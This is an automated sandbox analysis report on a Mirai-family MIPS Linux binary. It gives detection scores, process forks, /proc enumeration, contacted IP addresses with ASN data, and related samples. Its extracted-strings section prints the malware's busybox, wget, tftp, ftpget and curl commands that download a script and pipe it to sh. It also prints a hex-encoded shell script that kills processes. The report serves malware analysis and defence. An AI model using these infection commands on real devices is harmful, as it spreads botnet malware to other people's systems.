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Linux Analysis Report
O93vO719Sn.elf

Overview

General Information

Sample name:	O93vO719Sn.elf renamed because original name is a hash value
Original sample name:	59c274cad2f05a3c7553ef02d7a50802.elf
Analysis ID:	1432507
MD5:	59c274cad2f05a3c7553ef02d7a50802
SHA1:	71a57ad1da7356a73ac4856e985943bfae15baf9
SHA256:	b867a0f85e1d69fcfe707e09e15819410835dc96168c7feac84ac22830aaadc5
Tags:	32elfmipsmirai
Infos:

Detection

Score:	56
Range:	0 - 100
Whitelisted:	false

Signatures

Multi AV Scanner detection for submitted file

Connects to many ports of the same IP (likely port scanning)

Uses known network protocols on non-standard ports

Detected TCP or UDP traffic on non-standard ports

Enumerates processes within the "proc" file system

Found strings indicative of a multi-platform dropper

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Sample listens on a socket

Uses the "uname" system call to query kernel version information (possible evasion)

Classification

Analysis Advice

Static ELF header machine description suggests that the sample might not execute correctly on this machine.

Static ELF header machine description suggests that the sample might only run correctly on MIPS or ARM architectures.

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1432507
Start date and time:	2024-04-27 11:27:28 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 13s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	O93vO719Sn.elf renamed because original name is a hash value
Original Sample Name:	59c274cad2f05a3c7553ef02d7a50802.elf
Detection:	MAL
Classification:	mal56.troj.linELF@0/101@1/0

Warnings

Report size exceeded maximum capacity and may have missing network information.

Runtime Messages

Command:	/tmp/O93vO719Sn.elf
PID:	5631
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	The Peoples Bank of China.
Standard Error:

Process Tree

system is lnxubuntu20

O93vO719Sn.elf (PID: 5631, Parent: 5550, MD5: 0083f1f0e77be34ad27f849842bbb00c) Arguments: /tmp/O93vO719Sn.elf

O93vO719Sn.elf New Fork (PID: 5633, Parent: 5631)

O93vO719Sn.elf New Fork (PID: 5635, Parent: 5633)

O93vO719Sn.elf New Fork (PID: 5637, Parent: 5633)

O93vO719Sn.elf New Fork (PID: 5638, Parent: 5633)

cleanup

String: incorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> .ksh .k/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | shGET /dlr. HTTP/1.0

Source: O93vO719Sn.elf	ReversingLabs: Detection: 52%
Source: O93vO719Sn.elf	Virustotal: Detection: 33%			Perma Link

Source: unknown	TCP traffic detected without corresponding DNS query: 74.249.191.93
Source: unknown	TCP traffic detected without corresponding DNS query: 214.162.211.231
Source: unknown	TCP traffic detected without corresponding DNS query: 57.189.112.4
Source: unknown	TCP traffic detected without corresponding DNS query: 118.8.146.190
Source: unknown	TCP traffic detected without corresponding DNS query: 177.224.23.30
Source: unknown	TCP traffic detected without corresponding DNS query: 104.177.223.38
Source: unknown	TCP traffic detected without corresponding DNS query: 33.103.215.139
Source: unknown	TCP traffic detected without corresponding DNS query: 212.228.252.145
Source: unknown	TCP traffic detected without corresponding DNS query: 161.156.182.36
Source: unknown	TCP traffic detected without corresponding DNS query: 149.143.36.208
Source: unknown	TCP traffic detected without corresponding DNS query: 82.207.4.38
Source: unknown	TCP traffic detected without corresponding DNS query: 178.182.70.58
Source: unknown	TCP traffic detected without corresponding DNS query: 155.7.58.57
Source: unknown	TCP traffic detected without corresponding DNS query: 104.18.62.64
Source: unknown	TCP traffic detected without corresponding DNS query: 174.227.100.91
Source: unknown	TCP traffic detected without corresponding DNS query: 140.82.78.45
Source: unknown	TCP traffic detected without corresponding DNS query: 199.216.196.126
Source: unknown	TCP traffic detected without corresponding DNS query: 189.159.16.190
Source: unknown	TCP traffic detected without corresponding DNS query: 221.20.234.91
Source: unknown	TCP traffic detected without corresponding DNS query: 16.235.30.189
Source: unknown	TCP traffic detected without corresponding DNS query: 218.34.11.105
Source: unknown	TCP traffic detected without corresponding DNS query: 4.215.168.157
Source: unknown	TCP traffic detected without corresponding DNS query: 84.240.239.160
Source: unknown	TCP traffic detected without corresponding DNS query: 168.62.163.99
Source: unknown	TCP traffic detected without corresponding DNS query: 119.120.195.174
Source: unknown	TCP traffic detected without corresponding DNS query: 138.65.117.0
Source: unknown	TCP traffic detected without corresponding DNS query: 86.90.239.164
Source: unknown	TCP traffic detected without corresponding DNS query: 53.152.59.215
Source: unknown	TCP traffic detected without corresponding DNS query: 75.241.198.106
Source: unknown	TCP traffic detected without corresponding DNS query: 91.82.240.237
Source: unknown	TCP traffic detected without corresponding DNS query: 23.188.102.242
Source: unknown	TCP traffic detected without corresponding DNS query: 31.3.200.206
Source: unknown	TCP traffic detected without corresponding DNS query: 23.64.43.103
Source: unknown	TCP traffic detected without corresponding DNS query: 76.34.135.197
Source: unknown	TCP traffic detected without corresponding DNS query: 173.48.74.211
Source: unknown	TCP traffic detected without corresponding DNS query: 24.232.142.46
Source: unknown	TCP traffic detected without corresponding DNS query: 21.139.182.153
Source: unknown	TCP traffic detected without corresponding DNS query: 95.222.222.250
Source: unknown	TCP traffic detected without corresponding DNS query: 97.154.134.1
Source: unknown	TCP traffic detected without corresponding DNS query: 129.121.161.94
Source: unknown	TCP traffic detected without corresponding DNS query: 19.232.21.193
Source: unknown	TCP traffic detected without corresponding DNS query: 86.24.82.53
Source: unknown	TCP traffic detected without corresponding DNS query: 198.221.43.82
Source: unknown	TCP traffic detected without corresponding DNS query: 98.243.29.177
Source: unknown	TCP traffic detected without corresponding DNS query: 207.172.139.243
Source: unknown	TCP traffic detected without corresponding DNS query: 56.162.96.14
Source: unknown	TCP traffic detected without corresponding DNS query: 103.172.144.226
Source: unknown	TCP traffic detected without corresponding DNS query: 15.223.96.223
Source: unknown	TCP traffic detected without corresponding DNS query: 142.108.139.237
Source: unknown	TCP traffic detected without corresponding DNS query: 188.248.91.252

Source: O93vO719Sn.elf	String found in binary or memory: http:///curl.sh
Source: O93vO719Sn.elf	String found in binary or memory: http:///wget.sh

Source: Initial sample	String containing 'busybox' found: /bin/busybox
Source: Initial sample	String containing 'busybox' found: usage: busybox
Source: Initial sample	String containing 'busybox' found: /bin/busybox hostname PBOC
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample	String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample	String containing 'busybox' found: /wget.sh -O- \| sh;/bin/busybox tftp -g
Source: Initial sample	String containing 'busybox' found: -r tftp.sh -l- \| sh;/bin/busybox ftpget
Source: Initial sample	String containing 'busybox' found: /bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrep
Source: Initial sample	String containing 'busybox' found: incorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> .ksh .k/bin/busybox wget http:///wget.sh -O- \| sh;/bin/busybox tftp -g -r tftp.sh -l- \| sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- \| shGET /dlr. HTTP/1.0
Source: Initial sample	String containing 'busybox' found: > .d/bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrepThe People's/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\x28\x64\x65\x6C\x65\x74\x65\x64\x29\x7D\x22\x20\x5D""\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64\x22\x0A\x20\x20""\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4

Source: /tmp/O93vO719Sn.elf (PID: 5637)	File opened: /proc/5670/maps	Jump to behavior
Source: /tmp/O93vO719Sn.elf (PID: 5637)	File opened: /proc/5670/cmdline	Jump to behavior
Source: /tmp/O93vO719Sn.elf (PID: 5637)	File opened: /proc/5670/maps	Jump to behavior
Source: /tmp/O93vO719Sn.elf (PID: 5637)	File opened: /proc/5670/cmdline	Jump to behavior
Source: /tmp/O93vO719Sn.elf (PID: 5637)	File opened: /proc/5660/maps	Jump to behavior
Source: /tmp/O93vO719Sn.elf (PID: 5637)	File opened: /proc/5660/cmdline	Jump to behavior
Source: /tmp/O93vO719Sn.elf (PID: 5637)	File opened: /proc/5661/maps	Jump to behavior
Source: /tmp/O93vO719Sn.elf (PID: 5637)	File opened: /proc/5661/cmdline	Jump to behavior
Source: /tmp/O93vO719Sn.elf (PID: 5637)	File opened: /proc/5651/maps	Jump to behavior
Source: /tmp/O93vO719Sn.elf (PID: 5637)	File opened: /proc/5651/cmdline	Jump to behavior
Source: /tmp/O93vO719Sn.elf (PID: 5637)	File opened: /proc/5662/maps	Jump to behavior
Source: /tmp/O93vO719Sn.elf (PID: 5637)	File opened: /proc/5662/cmdline	Jump to behavior
Source: /tmp/O93vO719Sn.elf (PID: 5637)	File opened: /proc/5652/maps	Jump to behavior
Source: /tmp/O93vO719Sn.elf (PID: 5637)	File opened: /proc/5652/cmdline	Jump to behavior
Source: /tmp/O93vO719Sn.elf (PID: 5637)	File opened: /proc/5663/maps	Jump to behavior
Source: /tmp/O93vO719Sn.elf (PID: 5637)	File opened: /proc/5663/cmdline	Jump to behavior
Source: /tmp/O93vO719Sn.elf (PID: 5637)	File opened: /proc/5653/maps	Jump to behavior
Source: /tmp/O93vO719Sn.elf (PID: 5637)	File opened: /proc/5653/cmdline	Jump to behavior
Source: /tmp/O93vO719Sn.elf (PID: 5637)	File opened: /proc/5664/maps	Jump to behavior
Source: /tmp/O93vO719Sn.elf (PID: 5637)	File opened: /proc/5664/cmdline	Jump to behavior
Source: /tmp/O93vO719Sn.elf (PID: 5637)	File opened: /proc/5654/maps	Jump to behavior
Source: /tmp/O93vO719Sn.elf (PID: 5637)	File opened: /proc/5654/cmdline	Jump to behavior
Source: /tmp/O93vO719Sn.elf (PID: 5637)	File opened: /proc/5665/maps	Jump to behavior
Source: /tmp/O93vO719Sn.elf (PID: 5637)	File opened: /proc/5665/cmdline	Jump to behavior
Source: /tmp/O93vO719Sn.elf (PID: 5637)	File opened: /proc/5665/maps	Jump to behavior
Source: /tmp/O93vO719Sn.elf (PID: 5637)	File opened: /proc/5665/cmdline	Jump to behavior
Source: /tmp/O93vO719Sn.elf (PID: 5637)	File opened: /proc/5655/maps	Jump to behavior
Source: /tmp/O93vO719Sn.elf (PID: 5637)	File opened: /proc/5655/cmdline	Jump to behavior
Source: /tmp/O93vO719Sn.elf (PID: 5637)	File opened: /proc/5666/maps	Jump to behavior
Source: /tmp/O93vO719Sn.elf (PID: 5637)	File opened: /proc/5666/cmdline	Jump to behavior
Source: /tmp/O93vO719Sn.elf (PID: 5637)	File opened: /proc/5666/maps	Jump to behavior
Source: /tmp/O93vO719Sn.elf (PID: 5637)	File opened: /proc/5666/cmdline	Jump to behavior
Source: /tmp/O93vO719Sn.elf (PID: 5637)	File opened: /proc/5721/maps	Jump to behavior
Source: /tmp/O93vO719Sn.elf (PID: 5637)	File opened: /proc/5721/cmdline	Jump to behavior
Source: /tmp/O93vO719Sn.elf (PID: 5637)	File opened: /proc/5656/maps	Jump to behavior
Source: /tmp/O93vO719Sn.elf (PID: 5637)	File opened: /proc/5656/cmdline	Jump to behavior
Source: /tmp/O93vO719Sn.elf (PID: 5637)	File opened: /proc/5667/maps	Jump to behavior
Source: /tmp/O93vO719Sn.elf (PID: 5637)	File opened: /proc/5667/cmdline	Jump to behavior
Source: /tmp/O93vO719Sn.elf (PID: 5637)	File opened: /proc/5667/maps	Jump to behavior
Source: /tmp/O93vO719Sn.elf (PID: 5637)	File opened: /proc/5667/cmdline	Jump to behavior
Source: /tmp/O93vO719Sn.elf (PID: 5637)	File opened: /proc/5657/maps	Jump to behavior
Source: /tmp/O93vO719Sn.elf (PID: 5637)	File opened: /proc/5657/cmdline	Jump to behavior
Source: /tmp/O93vO719Sn.elf (PID: 5637)	File opened: /proc/5668/maps	Jump to behavior
Source: /tmp/O93vO719Sn.elf (PID: 5637)	File opened: /proc/5668/cmdline	Jump to behavior
Source: /tmp/O93vO719Sn.elf (PID: 5637)	File opened: /proc/5668/maps	Jump to behavior
Source: /tmp/O93vO719Sn.elf (PID: 5637)	File opened: /proc/5668/cmdline	Jump to behavior
Source: /tmp/O93vO719Sn.elf (PID: 5637)	File opened: /proc/5658/maps	Jump to behavior
Source: /tmp/O93vO719Sn.elf (PID: 5637)	File opened: /proc/5658/cmdline	Jump to behavior
Source: /tmp/O93vO719Sn.elf (PID: 5637)	File opened: /proc/5669/maps	Jump to behavior
Source: /tmp/O93vO719Sn.elf (PID: 5637)	File opened: /proc/5669/cmdline	Jump to behavior
Source: /tmp/O93vO719Sn.elf (PID: 5637)	File opened: /proc/5669/maps	Jump to behavior
Source: /tmp/O93vO719Sn.elf (PID: 5637)	File opened: /proc/5669/cmdline	Jump to behavior
Source: /tmp/O93vO719Sn.elf (PID: 5637)	File opened: /proc/5659/maps	Jump to behavior
Source: /tmp/O93vO719Sn.elf (PID: 5637)	File opened: /proc/5659/cmdline	Jump to behavior

Source: O93vO719Sn.elf, 5631.1.000055d9aa81f000.000055d9aa8a6000.rw-.sdmp, O93vO719Sn.elf, 5635.1.000055d9aa81f000.000055d9aa8a6000.rw-.sdmp	Binary or memory string: U!/etc/qemu-binfmt/mips
Source: O93vO719Sn.elf, 5631.1.000055d9aa81f000.000055d9aa8a6000.rw-.sdmp, O93vO719Sn.elf, 5635.1.000055d9aa81f000.000055d9aa8a6000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/mips
Source: O93vO719Sn.elf, 5631.1.00007ffd16643000.00007ffd16664000.rw-.sdmp, O93vO719Sn.elf, 5635.1.00007ffd16643000.00007ffd16664000.rw-.sdmp	Binary or memory string: ux86_64/usr/bin/qemu-mips/tmp/O93vO719Sn.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/O93vO719Sn.elf
Source: O93vO719Sn.elf, 5631.1.00007ffd16643000.00007ffd16664000.rw-.sdmp, O93vO719Sn.elf, 5635.1.00007ffd16643000.00007ffd16664000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-mips

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	1 Scripting	Path Interception	Direct Volume Access	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	11 Non-Standard Port	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact

Source	Detection	Scanner	Label	Link
O93vO719Sn.elf	53%	ReversingLabs	Linux.Trojan.Mirai
O93vO719Sn.elf	34%	Virustotal		Browse

Source	Detection	Scanner	Label	Link
http:///wget.sh	0%	Avira URL Cloud	safe
http:///curl.sh	0%	Avira URL Cloud	safe

IP	Domain	Country	ASN	ASN Name	Malicious
125.171.246.178	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
104.224.90.72	unknown	United States	9009	M247GB	false
119.55.211.35	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
135.129.34.145	unknown	United States	14962	NCR-252US	false
120.5.82.89	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
202.186.132.145	unknown	Malaysia	9930	TTNET-MYTIMEdotComBerhadMY	false
68.239.243.22	unknown	United States	701	UUNETUS	false
34.210.194.197	unknown	United States	16509	AMAZON-02US	false
146.144.158.122	unknown	unknown	197938	TRAVIANGAMESDE	false
34.118.34.88	unknown	United States	139070	GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	false
163.189.120.109	unknown	Australia	55542	RMSNET-AS-APRoadsandMaritimeServicesAU	false
219.99.249.15	unknown	Japan	59108	KATCH-NETKATCHNETWORKINCJP	false
9.62.230.5	unknown	United States	3356	LEVEL3US	false
108.59.238.156	unknown	United States	3462	HINETDataCommunicationBusinessGroupTW	false
169.5.4.192	unknown	United States	203	CENTURYLINK-LEGACY-LVLT-203US	false
57.189.112.4	unknown	Belgium	205080	SITA-CORPORATEBE	false
219.131.209.170	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
142.110.90.7	unknown	Canada	25635	SAIT-ASCA	false
213.147.244.42	unknown	United Kingdom	29190	OVERTA-ASRU	false
51.139.162.99	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
103.102.135.236	unknown	Bangladesh	137030	IPLINKNETWORK-AS-APJahirulIslamKamaltaIPLINKNETWORK	false
181.179.114.2	unknown	Panama	262227	ClaroPanamaSAPA	false
43.188.141.32	unknown	Japan	4249	LILLY-ASUS	false
91.198.10.89	unknown	Ukraine	43206	TNTU-ASUA	false
184.176.36.163	unknown	United States	22773	ASN-CXA-ALL-CCI-22773-RDCUS	false
2.28.143.251	unknown	United Kingdom	12576	EELtdGB	false
27.161.145.47	unknown	Korea Republic of	9644	SKTELECOM-NET-ASSKTelecomKR	false
157.46.135.127	unknown	India	55836	RELIANCEJIO-INRelianceJioInfocommLimitedIN	false
161.218.100.32	unknown	Germany	36522	BELLMOBILITY-1CA	false
39.41.212.234	unknown	Pakistan	45595	PKTELECOM-AS-PKPakistanTelecomCompanyLimitedPK	false
178.112.102.232	unknown	Austria	25255	H3G-AUSTRIA-ASTELE2AUSTRIAAT	false
219.114.64.171	unknown	Japan	4713	OCNNTTCommunicationsCorporationJP	false
112.238.153.171	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
137.150.17.29	unknown	United States	2152	CSUNET-NWUS	false
147.1.118.91	unknown	United States	10796	TWC-10796-MIDWESTUS	false
63.156.76.222	unknown	United States	32996	AGRIBANK-STPAULUS	false
43.106.101.138	unknown	Japan	4249	LILLY-ASUS	false
149.119.110.134	unknown	United States	11872	SYRACUSE-UNIVERSITYUS	false
90.155.156.252	unknown	Russian Federation	29124	ISKRATELECOM-ASSEVEN-SKYRU	false
207.252.205.240	unknown	United States	10844	VASTNETUS	false
94.47.55.113	unknown	Syrian Arab Republic	29256	INT-PDN-STE-ASSTEPDNInternalASSY	false
45.215.107.205	unknown	Zambia	37287	ZAIN-ZAMBIAZM	false
49.104.144.212	unknown	Japan	9605	DOCOMONTTDOCOMOINCJP	false
161.90.186.154	unknown	Netherlands	14298	EPA-NETUS	false
82.160.186.124	unknown	Poland	20960	TKTELEKOM-ASPL	false
130.97.207.245	unknown	United States	13326	TUFTS-UNIVERSITYUS	false
55.14.192.131	unknown	United States	347	DNIC-ASBLK-00306-00371US	false
33.236.39.87	unknown	United States	2686	ATGS-MMD-ASUS	false
140.137.90.139	unknown	Taiwan; Republic of China (ROC)	38845	FJU-AS-TWFuJenCatholicUniversityTW	false
212.111.117.193	unknown	Spain	20693	INTERNET-XPRESS-ASValenciaSpainES	false
119.218.151.196	unknown	Korea Republic of	4766	KIXS-AS-KRKoreaTelecomKR	false
155.148.74.231	unknown	United States	668	DNIC-AS-00668US	false
216.114.230.139	unknown	United States	12042	ENVENTISUS	false
93.122.39.5	unknown	Germany	20570	ASN-TSI-IPLSInternetandVPNServiceProviderDE	false
39.122.198.58	unknown	Korea Republic of	9318	SKB-ASSKBroadbandCoLtdKR	false
48.195.49.6	unknown	United States	2686	ATGS-MMD-ASUS	false
31.233.173.249	unknown	Germany	3320	DTAGInternetserviceprovideroperationsDE	false
71.6.169.249	unknown	United States	10439	CARINETUS	false
155.40.127.231	unknown	United States	24324	KORDIA-TRANSIT-AS-APKordiaLimitedNZ	false
44.150.149.189	unknown	United States	62383	LDS-ASBE	false
190.215.105.148	unknown	Chile	18822	ManquehuenetCL	false
124.184.40.1	unknown	Australia	1221	ASN-TELSTRATelstraCorporationLtdAU	false
151.16.136.32	unknown	Italy	1267	ASN-WINDTREIUNETEU	false
113.209.241.232	unknown	China	4808	CHINA169-BJChinaUnicomBeijingProvinceNetworkCN	false
7.19.94.249	unknown	United States	3356	LEVEL3US	false
96.154.44.84	unknown	United States	7922	COMCAST-7922US	false
54.166.207.151	unknown	United States	14618	AMAZON-AESUS	false
55.97.238.113	unknown	United States	361	DNIC-ASBLK-00306-00371US	false
118.42.213.216	unknown	Korea Republic of	4766	KIXS-AS-KRKoreaTelecomKR	false
137.12.242.21	unknown	United States	721	DNIC-ASBLK-00721-00726US	false
122.110.47.65	unknown	Australia	4804	MPX-ASMicroplexPTYLTDAU	false
105.135.238.146	unknown	Morocco	6713	IAM-ASMA	false
204.251.117.98	unknown	United States	22713	CAC-HQ2US	false
103.121.76.83	unknown	Bangladesh	138149	MATCHNET-AS-APMatchNetBD	false
143.185.53.175	unknown	United States	13127	VERSATELASfortheTrans-EuropeanTele2IPTransportbackbo	false
174.68.45.130	unknown	United States	22773	ASN-CXA-ALL-CCI-22773-RDCUS	false
152.187.82.66	unknown	United States	701	UUNETUS	false
60.37.149.192	unknown	Japan	4713	OCNNTTCommunicationsCorporationJP	false
169.150.226.201	unknown	United States	2711	SPIRITTEL-ASUS	false
81.96.181.171	unknown	United Kingdom	5089	NTLGB	false
160.109.193.43	unknown	United States	1294	NTTDATA-SERVICES-AS1US	false
205.198.236.74	unknown	United States	133847	ICT-AS-APAnppleTechEnterpriseMY	false
216.38.32.19	unknown	United States	15100	BEVCOMM-AS1US	false
53.196.138.34	unknown	Germany	31399	DAIMLER-ASITIGNGlobalNetworkDE	false
39.37.128.203	unknown	Pakistan	45595	PKTELECOM-AS-PKPakistanTelecomCompanyLimitedPK	false
5.246.66.38	unknown	Saudi Arabia	34400	ASN-ETTIHADETISALATSA	false
89.11.99.39	unknown	Norway	15659	NEXTGENTELNEXTGENTELAutonomousSystemNO	false
218.94.218.182	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
213.181.23.24	unknown	Russian Federation	8241	RELLINE-ASRU	false
122.117.62.145	unknown	Taiwan; Republic of China (ROC)	3462	HINETDataCommunicationBusinessGroupTW	false
109.114.214.145	unknown	Italy	30722	VODAFONE-IT-ASNIT	false
74.250.22.125	unknown	United States	6389	BELLSOUTH-NET-BLKUS	false
22.170.202.118	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
219.51.176.95	unknown	Japan	17676	GIGAINFRASoftbankBBCorpJP	false
93.1.102.180	unknown	France	15557	LDCOMNETFR	false
201.79.0.163	unknown	Brazil	7738	TelemarNorteLesteSABR	false
190.131.130.106	unknown	Ecuador	27738	EcuadortelecomSAEC	false
98.124.208.68	unknown	United States	21803	CEDAR-NETWORKSUS	false
128.172.26.245	unknown	United States	16643	VCU-ASN1US	false
175.77.102.53	unknown	China	9394	CTTNETChinaTieTongTelecommunicationsCorporationCN	false

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
149.119.110.134	mdUvyOAdxN.elf	Get hash	malicious	Mirai	Browse
103.102.135.236	cRgbcxhlZ8	Get hash	malicious	Mirai	Browse
181.179.114.2	K3k8Tqy0DP.elf	Get hash	malicious	Mirai	Browse
157.46.135.127	k2XsXEiiLY.elf	Get hash	malicious	Mirai	Browse
157.46.135.127	mirai.x86	Get hash	malicious	Mirai	Browse
219.99.249.15	fsCLsmtz0b	Get hash	malicious	Mirai	Browse
9.62.230.5	Q7ZsZdxgid	Get hash	malicious	Mirai	Browse

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
freethewind.parody	GldvsHP0wD.elf	Get hash	malicious	Unknown	Browse	86.104.194.181
	G0DzFWJWTG.elf	Get hash	malicious	Mirai	Browse	5.181.80.60
	ZMDO0vznFx.elf	Get hash	malicious	Unknown	Browse	86.104.194.178

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	spQm3NLQtH.elf	Get hash	malicious	Unknown	Browse	1.57.196.32
	x1b5bmJgLm.elf	Get hash	malicious	Unknown	Browse	121.29.181.93
	3rU5FsjiS4.elf	Get hash	malicious	Unknown	Browse	112.230.29.39
	FZAuI72f4q.elf	Get hash	malicious	Unknown	Browse	42.86.254.24
	fbW42zYly3.elf	Get hash	malicious	Mirai	Browse	175.169.235.40
	uXUrccWxXO.elf	Get hash	malicious	Unknown	Browse	123.154.130.213
	kiEexlEvM2.elf	Get hash	malicious	Unknown	Browse	119.184.63.226
	RpHVKGndFL.elf	Get hash	malicious	Unknown	Browse	112.229.2.150
	WFdAK6HQgz.elf	Get hash	malicious	Unknown	Browse	171.117.38.85
	d1CFx1lzym.elf	Get hash	malicious	Mirai	Browse	116.135.49.107
CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	spQm3NLQtH.elf	Get hash	malicious	Unknown	Browse	1.57.196.32
	x1b5bmJgLm.elf	Get hash	malicious	Unknown	Browse	121.29.181.93
	3rU5FsjiS4.elf	Get hash	malicious	Unknown	Browse	112.230.29.39
	FZAuI72f4q.elf	Get hash	malicious	Unknown	Browse	42.86.254.24
	fbW42zYly3.elf	Get hash	malicious	Mirai	Browse	175.169.235.40
	uXUrccWxXO.elf	Get hash	malicious	Unknown	Browse	123.154.130.213
	kiEexlEvM2.elf	Get hash	malicious	Unknown	Browse	119.184.63.226
	RpHVKGndFL.elf	Get hash	malicious	Unknown	Browse	112.229.2.150
	WFdAK6HQgz.elf	Get hash	malicious	Unknown	Browse	171.117.38.85
	d1CFx1lzym.elf	Get hash	malicious	Mirai	Browse	116.135.49.107
CHINANET-BACKBONENo31Jin-rongStreetCN	spQm3NLQtH.elf	Get hash	malicious	Unknown	Browse	121.207.117.114
	x1b5bmJgLm.elf	Get hash	malicious	Unknown	Browse	171.8.17.99
	3rU5FsjiS4.elf	Get hash	malicious	Unknown	Browse	171.209.7.170
	FZAuI72f4q.elf	Get hash	malicious	Unknown	Browse	120.41.214.68
	fbW42zYly3.elf	Get hash	malicious	Mirai	Browse	106.81.18.115
	uXUrccWxXO.elf	Get hash	malicious	Unknown	Browse	125.116.96.29
	kiEexlEvM2.elf	Get hash	malicious	Unknown	Browse	49.72.125.255
	RpHVKGndFL.elf	Get hash	malicious	Unknown	Browse	36.47.13.155
	q5C2tw1Pc6.elf	Get hash	malicious	Mirai	Browse	183.35.147.131
	WFdAK6HQgz.elf	Get hash	malicious	Unknown	Browse	122.238.38.187
M247GB	d1CFx1lzym.elf	Get hash	malicious	Mirai	Browse	171.22.50.190
	RDFchOT4i0.exe	Get hash	malicious	Unknown	Browse	185.236.203.208
	https://newexra.com/campaigns/zj986hw5a47dc/track-opening/eg3771rs6ac55	Get hash	malicious	Unknown	Browse	91.202.233.192
	SecuriteInfo.com.Other.Malware-gen.28386.14039.elf	Get hash	malicious	Mirai	Browse	147.78.12.176
	SecuriteInfo.com.Other.Malware-gen.3200.4135.elf	Get hash	malicious	Mirai	Browse	147.78.12.176
	SecuriteInfo.com.Other.Malware-gen.31307.16494.elf	Get hash	malicious	Mirai	Browse	147.78.12.176
	SecuriteInfo.com.Linux.Siggen.6954.6684.13146.elf	Get hash	malicious	Mirai	Browse	147.78.12.176
	SecuriteInfo.com.Other.Malware-gen.22921.14172.elf	Get hash	malicious	Mirai	Browse	147.78.12.176
	PrHBHHWE5U.elf	Get hash	malicious	Mirai	Browse	147.78.12.176
